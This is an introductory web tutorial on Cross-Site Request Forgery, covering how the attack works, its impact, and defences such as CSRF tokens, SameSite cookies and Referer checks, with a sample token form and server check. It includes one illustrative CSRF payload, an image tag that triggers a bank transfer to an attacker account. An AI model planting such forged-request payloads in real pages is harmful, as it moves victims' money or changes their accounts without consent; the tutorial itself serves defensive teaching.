Swiftorial Logo
Home
Swift Lessons
Matchups
CodeSnaps
Tutorials
Career
Resources

Cross-Site Request Forgery (CSRF) Tutorial

What is CSRF?

Cross-Site Request Forgery (CSRF) is a type of attack that tricks the victim into submitting a malicious request. It exploits the trust that a web application has in the user's browser. When a user is authenticated on a website, CSRF can send unauthorized commands to that site on behalf of the user without their consent.

How CSRF Works

In a CSRF attack, an attacker creates a malicious link or script that, when clicked or executed by the victim, sends a request to a web application where the victim is authenticated. Since the victim's browser includes the necessary authentication credentials (like cookies), the request is processed as if it came from the victim.

For instance, consider a user logged into their bank account. If they visit a malicious site that contains the following HTML:

<img src="http://bank.com/transfer?amount=1000&to=attacker_account" />

This image tag will send a request to the bank's server to transfer money without the user's consent.

Impact of CSRF

The potential impacts of a CSRF attack include unauthorized fund transfers, changing account settings, or even sending spam. The consequences can be severe, especially in applications that manage sensitive data or financial transactions.

Preventing CSRF

There are several strategies to prevent CSRF attacks:

  • CSRF Tokens: Generate a unique token for each user session and require this token to be included in every state-changing request.
  • SameSite Cookies: Use the SameSite attribute for cookies to restrict how cookies are sent with cross-site requests.
  • Double Submit Cookies: Send a CSRF token as a cookie and also include it in the request body or header.
  • Referer Header Validation: Check the Referer header to ensure that requests are coming from the expected origin.

CSRF Token Example

Here’s a basic example of how to implement CSRF tokens:

On the server-side, generate a token and include it in a form:

<form action="/transfer" method="POST"> <input type="hidden" name="csrf_token" value="GENERATED_CSRF_TOKEN"> <input type="text" name="amount"> <input type="submit" value="Transfer"> </form>

On the server, verify the token upon receiving the request:

if (request.body.csrf_token !== session.csrf_token) { return res.status(403).send('Invalid CSRF token'); }

Conclusion

Cross-Site Request Forgery is a serious vulnerability that can lead to unauthorized actions on behalf of authenticated users. By understanding how CSRF works and implementing preventive measures such as CSRF tokens and SameSite cookies, developers can significantly reduce the risk of these attacks and enhance the security of their applications.